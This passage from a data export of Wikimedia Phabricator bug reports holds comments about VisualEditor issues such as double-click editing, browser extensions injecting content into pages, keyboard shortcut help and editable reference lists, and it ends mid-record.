+245933,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","Change 162968 merged by jenkins-bot:
+Stop ""Edit pages on double click"" from affecting VE
+
+https://gerrit.wikimedia.org/r/162968",,,1411685541,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+245930,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","Change 162968 had a related patch set uploaded by Alex Monk:
+Stop ""Edit pages on double click"" from affecting VE
+
+https://gerrit.wikimedia.org/r/162968",,,1411676447,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+245927,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""",Is this now fixed given the above being merged?,,,1411664311,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,True,,,64,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+245923,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","Change 150391 merged by Bartosz Dziewoński:
+Make mediawiki.action.view.dblClickEdit recheck preference
+
+https://gerrit.wikimedia.org/r/150391",,,1411663651,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245914,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","Change 150391 had a related patch set uploaded by Alex Monk:
+Add JS hook to allow extensions to prevent double click from changing to action=edit
+
+https://gerrit.wikimedia.org/r/150391",,,1406667468,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,56,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+245905,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""",fwiw 'Enable section editing by right clicking on section titles' is active within VE,,,1380693722,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+245898,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","For variety, I confirmed on Chrome/Linux ;-)",,,1380693472,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+245892,"VisualEditor: Incompatibility with Special:Preferences#mw-prefsection-editing item, ""Edit pages on double click (requires JavaScript)""","This was reported in Mozilla 23 on Windows 8, and I reproduced it in Safari 6 on Mac OS 10.7.5, so it's probably universal.",,,1376935250,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-upzv2zqhai5rvy7wc6sm,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+54980,"VisualEditor: Show ""Review changes"" link in the toolbar all the time, or available somehow (on hover?) rather than just through save dialog","I am editing a page and something untoward happens.  To review changes, I now have to click ""Save page"", which is sort of like a sign above a circular saw saying, ""To unplug, please saw through wall.  Thank you for your cooperation.""
+
+:p
+
+Perhaps hovering over the ""save page"" button could drop down alternative actions, such as ""save draft of changes"", ""review..."" etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1376812680,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-jacp3aj4vm5u6h6b4chc,task_description,open,True,c1,3,True,False,,6,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+241289,"VisualEditor: Show ""Review changes"" link in the toolbar all the time, or available somehow (on hover?) rather than just through save dialog","Firstly, hover is something we avoid using in VisualEditor as it means the functionality isn't available for those using a touch interface. I don't think this is ""major"" - closer to ""minor"" - but either way it's an enhancement.
+
+Also, there's an existing bug to show what changes you've made as you enter them (e.g. by highlighting the background of the new text, like Microsoft Word's ""tracked changes"" view): bug 37931.",,,1376952013,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jacp3aj4vm5u6h6b4chc,task_subcomment,,True,c1,3,True,,,7,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+54884,VisualEditor: Broken Foxlingo Firefox extension injects javascript into page,"See reported diff on fr.wp
+https://fr.wikipedia.org/w/index.php?title=Debra_Winger&action=historysubmit&diff=95823433&oldid=94552186
+
+The js is from Foxlingo but the liberal sprinkling of nowikis is from VE or Parsoid.
+
+PrimeHunter at en.wp reports that a Google search for FoxlingoJS reveals several other internet forums are suffering the same problems.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1376582220,1412114336.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-nfvv4eym3zcif2i7nb4d,task_description,resolved,True,c1,3,False,False,False,6,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+236070,VisualEditor: Broken Foxlingo Firefox extension injects javascript into page,"Change 163961 merged by jenkins-bot:
+Remove certain blacklisted elements when getting HTML from document
+
+https://gerrit.wikimedia.org/r/163961",,,1412114004,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nfvv4eym3zcif2i7nb4d,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+236067,VisualEditor: Broken Foxlingo Firefox extension injects javascript into page,"Change 163961 had a related patch set uploaded by Alex Monk:
+Remove certain blacklisted elements when getting HTML from document
+
+https://gerrit.wikimedia.org/r/163961",,,1412113130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nfvv4eym3zcif2i7nb4d,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+54859,VisualEditor: Populate the edit summary for simple changes,"At T53903,  Elitre said:
+
+> A user at it.wp wonders: if VE could pre-populate the summary box, could it
+> also auto-add the text that was added, in case of very short additions? i.e.,
+> if someone added a parameter to a template, could it automatically detect
+> what was added and write it in the edit summary? Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**: T53903, T50274",Low,25.0,1376506380,,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-dy2dbpcxtagget43fzoa,task_description,open,True,c1,3,True,False,,6,,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+1621784,VisualEditor: Populate the edit summary for simple changes,See also T3307 & T14411,,,1606235062,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-dy2dbpcxtagget43fzoa,task_subcomment,,True,c1,3,True,,,386,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+54844,VisualEditor: Add help page for all keyboard shortcuts,"GMail's keyboard shortcuts help page
+
+Similar to GMail's modal when '?' is pressed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F11100}",Low,25.0,1376487180,1389836925.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-sjrtlm4n5ikwytrhpwex,task_description,resolved,True,c1,3,True,False,False,6,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0
+233546,VisualEditor: Add help page for all keyboard shortcuts,"Change 98517 merged by jenkins-bot:
+Keyboard shortcuts MW integration
+
+https://gerrit.wikimedia.org/r/98517",,,1389823722,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sjrtlm4n5ikwytrhpwex,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233540,VisualEditor: Add help page for all keyboard shortcuts,"Change 107153 merged by jenkins-bot:
+Keyboard shortcuts dialog
+
+https://gerrit.wikimedia.org/r/107153",,,1389821946,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sjrtlm4n5ikwytrhpwex,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+233534,VisualEditor: Add help page for all keyboard shortcuts,"Change 107153 had a related patch set uploaded by Esanders:
+WIP Keyboard shortcuts dialog
+
+https://gerrit.wikimedia.org/r/107153",,,1389625063,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sjrtlm4n5ikwytrhpwex,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+233528,VisualEditor: Add help page for all keyboard shortcuts,"Change 98517 had a related patch set uploaded by Esanders:
+WIP Keyboard shortcuts dialog
+
+https://gerrit.wikimedia.org/r/98517",,,1385994018,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sjrtlm4n5ikwytrhpwex,task_subcomment,,True,c1,3,False,,,22,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54791,"VisualEditor: Broken DataVault browser plugin causes ""application/x-datavault"" to be injected into the page","At https://en.wikipedia.org/w/index.php?title=Judi_Dench&curid=85432&diff=568314406&oldid=568147939 the article was top and tailed with
+<embed type=""application/x-datavault"" width=""0"" height=""0"" />
+
+Searching seems to suggest the most likely cause is the ""DataVault"" password manager browser plugin
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1376392740,1412114322.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-ffqjhxzn42bsoktzv7bm,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,1
+255260,"VisualEditor: Broken DataVault browser plugin causes ""application/x-datavault"" to be injected into the page","Change 163961 merged by jenkins-bot:
+Remove certain blacklisted elements when getting HTML from document
+
+https://gerrit.wikimedia.org/r/163961",,,1412114025,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ffqjhxzn42bsoktzv7bm,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+255255,"VisualEditor: Broken DataVault browser plugin causes ""application/x-datavault"" to be injected into the page","Change 163961 had a related patch set uploaded by Alex Monk:
+Remove certain blacklisted elements when getting HTML from document
+
+https://gerrit.wikimedia.org/r/163961",,,1412113124,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ffqjhxzn42bsoktzv7bm,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+255250,"VisualEditor: Broken DataVault browser plugin causes ""application/x-datavault"" to be injected into the page","Did you get anything back, Derk-Jan?",,,1397835827,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ffqjhxzn42bsoktzv7bm,task_subcomment,,True,c1,3,True,,,41,,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+255244,"VisualEditor: Broken DataVault browser plugin causes ""application/x-datavault"" to be injected into the page",I've send an email to their support department. Let's hope it helps.,,,1376470329,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ffqjhxzn42bsoktzv7bm,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+54786,"VisualEditor: Add support for making some templates directly ""visually editable"", as if they were tables (e.g. infoboxes)","A user at it.wp asks if, in the long term, it will be possible to edit templates directly (i.e., infoboxes), without the transclusion dialog, as if one was changing something in a table. Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1376386200,1394074105.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-fnziglwvvwpmlxekyjvk,task_description,resolved,True,c1,3,False,False,False,6,,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+255013,"VisualEditor: Add support for making some templates directly ""visually editable"", as if they were tables (e.g. infoboxes)","
+
+*** This bug has been marked as a duplicate of bug 50182 ***",,,1394074105,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fnziglwvvwpmlxekyjvk,task_subcomment,,True,c1,3,True,,,35,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54782,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,"<< http://en.wikipedia.org/wiki/File:GreatNurse.jpeg is a headshot of Virginia Henderson that was uploaded to Commons yesterday. VisualEditor's image feature can't find it, and won't accept file names that it doesn't believe exist. WhatamIdoing (talk) 00:17, 13 August 2013 (UTC) >>
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=37578",Low,25.0,1376382300,1383013054.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-zckv7xwfgl4cxjix23f5,task_description,declined,True,c1,3,False,False,False,6,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+254838,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,*** Bug 52218 has been marked as a duplicate of this bug. ***,,,1383282089,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zckv7xwfgl4cxjix23f5,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+254833,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,Marking WONTFIX as this is inherently fixed by CirrusSearch and lsearchd has been end of life'd and won't be improved further.,,,1383013054,,PHID-USER-oetk6bbl6omm354ejz3b,True,,,PHID-TASK-zckv7xwfgl4cxjix23f5,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+254828,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,*** Bug 54777 has been marked as a duplicate of this bug. ***,,,1382572188,,PHID-USER-oetk6bbl6omm354ejz3b,True,,,PHID-TASK-zckv7xwfgl4cxjix23f5,task_subcomment,,True,c1,3,False,,,16,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+254822,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,"The good news: CirrusSearch is updated a few seconds after a page is added, changed, or deleted.
+The bad news: it isn't ready yet!",,,1377001750,,PHID-USER-2rnfxoezl66afpa7w7in,True,,,PHID-TASK-zckv7xwfgl4cxjix23f5,task_subcomment,,True,c1,3,False,,,7,,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+254817,Newly-uploaded image doesn't immediately appear in image search results in VisualEditor,The image now comes up in the search result - this is probably a delay in the speed with which the search index is updated.,,,1376952277,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zckv7xwfgl4cxjix23f5,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+54750,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"At https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=568194420#I_can.27t_edit_the_references it has been proposed that it would be helpful to editors if they could edit references in the reference list, as well as where they appear inline.
+
+""As just about every object you see on a page is directly editable with the VE, of course having the reflist not editable is counter-intuitive. ""
+
+This proposal would make T54736 either unnecessary or just a ""workaround""/interim measure, depending on the timescale to implement.
+
+--------------------------
+
+#2 in the 2023 wishlist: https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2023/Citations/Allow_citations_to_be_edited_in_the_references_section_with_VisualEditor
+",Low,25.0,1376315340,1688774070.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_description,resolved,True,c1,3,False,False,False,6,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+2321212,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by Novem Linguae using patch(es) linked to this task was **deleted**:
+
+~~[[ https://patchdemo.wmflabs.org/wikis/d94eddd976/w/ ]]~~",,,1713878505,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,564,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2178030,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 950231 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/Cite@master] Don't warn that reference list is uneditable%%%
+https://gerrit.wikimedia.org/r/950231",,,1692430973,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,528,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2177867,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by Novem Linguae using patch(es) linked to this task:
+[[ https://patchdemo.wmflabs.org/wikis/d94eddd976/w ]]",,,1692417223,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,528,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2177866,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 950231 had a related patch set uploaded (by Novem Linguae; author: Novem Linguae):
+%%%[mediawiki/extensions/Cite@master] Don't warn that reference list is uneditable%%%
